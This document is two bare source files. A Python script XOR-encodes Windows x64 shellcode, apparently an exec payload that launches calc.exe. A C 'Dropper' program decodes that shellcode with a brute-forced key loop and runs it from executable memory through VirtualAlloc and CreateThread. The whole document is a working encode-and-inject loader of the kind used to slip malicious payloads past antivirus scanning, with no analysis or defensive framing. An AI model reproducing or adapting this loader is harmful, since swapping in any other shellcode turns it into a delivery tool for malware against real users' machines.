# obf.py
shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00]
print(",".join(["0x%02x" % (x^0x74) for x in shellcode]))


=============================================================================================================
// Dropper.c
#include<stdio.h>
#include<windows.h>
#include<time.h>
#include<stdlib.h>

int main(int argc, char* argv[]) {
 // xor encoded shellcode
	char shellcode[] = { 0x88,0x3c,0xf7,0x90,0x84,0x9c,0xb4,0x74,0x74,0x74,0x35,0x25,0x35,0x24,0x26,0x25,0x22,0x3c,0x45,0xa6,0x11,0x3c,0xff,0x26,0x14,0x3c,0xff,0x26,0x6c,0x3c,0xff,0x26,0x54,0x3c,0xff,0x06,0x24,0x3c,0x7b,0xc3,0x3e,0x3e,0x39,0x45,0xbd,0x3c,0x45,0xb4,0xd8,0x48,0x15,0x08,0x76,0x58,0x54,0x35,0xb5,0xbd,0x79,0x35,0x75,0xb5,0x96,0x99,0x26,0x35,0x25,0x3c,0xff,0x26,0x54,0xff,0x36,0x48,0x3c,0x75,0xa4,0xff,0xf4,0xfc,0x74,0x74,0x74,0x3c,0xf1,0xb4,0x00,0x13,0x3c,0x75,0xa4,0x24,0xff,0x3c,0x6c,0x30,0xff,0x34,0x54,0x3d,0x75,0xa4,0x97,0x22,0x3c,0x8b,0xbd,0x35,0xff,0x40,0xfc,0x3c,0x75,0xa2,0x39,0x45,0xbd,0x3c,0x45,0xb4,0xd8,0x35,0xb5,0xbd,0x79,0x35,0x75,0xb5,0x4c,0x94,0x01,0x85,0x38,0x77,0x38,0x50,0x7c,0x31,0x4d,0xa5,0x01,0xac,0x2c,0x30,0xff,0x34,0x50,0x3d,0x75,0xa4,0x12,0x35,0xff,0x78,0x3c,0x30,0xff,0x34,0x68,0x3d,0x75,0xa4,0x35,0xff,0x70,0xfc,0x3c,0x75,0xa4,0x35,0x2c,0x35,0x2c,0x2a,0x2d,0x2e,0x35,0x2c,0x35,0x2d,0x35,0x2e,0x3c,0xf7,0x98,0x54,0x35,0x26,0x8b,0x94,0x2c,0x35,0x2d,0x2e,0x3c,0xff,0x66,0x9d,0x23,0x8b,0x8b,0x8b,0x29,0x3c,0xce,0x75,0x74,0x74,0x74,0x74,0x74,0x74,0x74,0x3c,0xf9,0xf9,0x75,0x75,0x74,0x74,0x35,0xce,0x45,0xff,0x1b,0xf3,0x8b,0xa1,0xcf,0x94,0x69,0x5e,0x7e,0x35,0xce,0xd2,0xe1,0xc9,0xe9,0x8b,0xa1,0x3c,0xf7,0xb0,0x5c,0x48,0x72,0x08,0x7e,0xf4,0x8f,0x94,0x01,0x71,0xcf,0x33,0x67,0x06,0x1b,0x1e,0x74,0x2d,0x35,0xfd,0xae,0x8b,0xa1,0x17,0x15,0x18,0x17,0x5a,0x11,0x0c,0x11,0x74 };

	int MAX = 0x80; int MIN = 0x74;
	BYTE keyTemp = 0x0;
	int key;
	while (keyTemp != 0xFC) {
		srand(time(NULL));
		key = rand() % (MAX - MIN + 1) + MIN;
		keyTemp = (shellcode[0] ^ key);
		printf("key : %d\n",key);
	}
	for (int i = 0; i < sizeof(shellcode); i++) {
		shellcode[i] = shellcode[i] ^ key;
	}

	PVOID dstPointer = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CopyMemory(dstPointer, shellcode, sizeof(shellcode));
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)dstPointer, NULL, 0, 0);
	Sleep(1000);


	//
}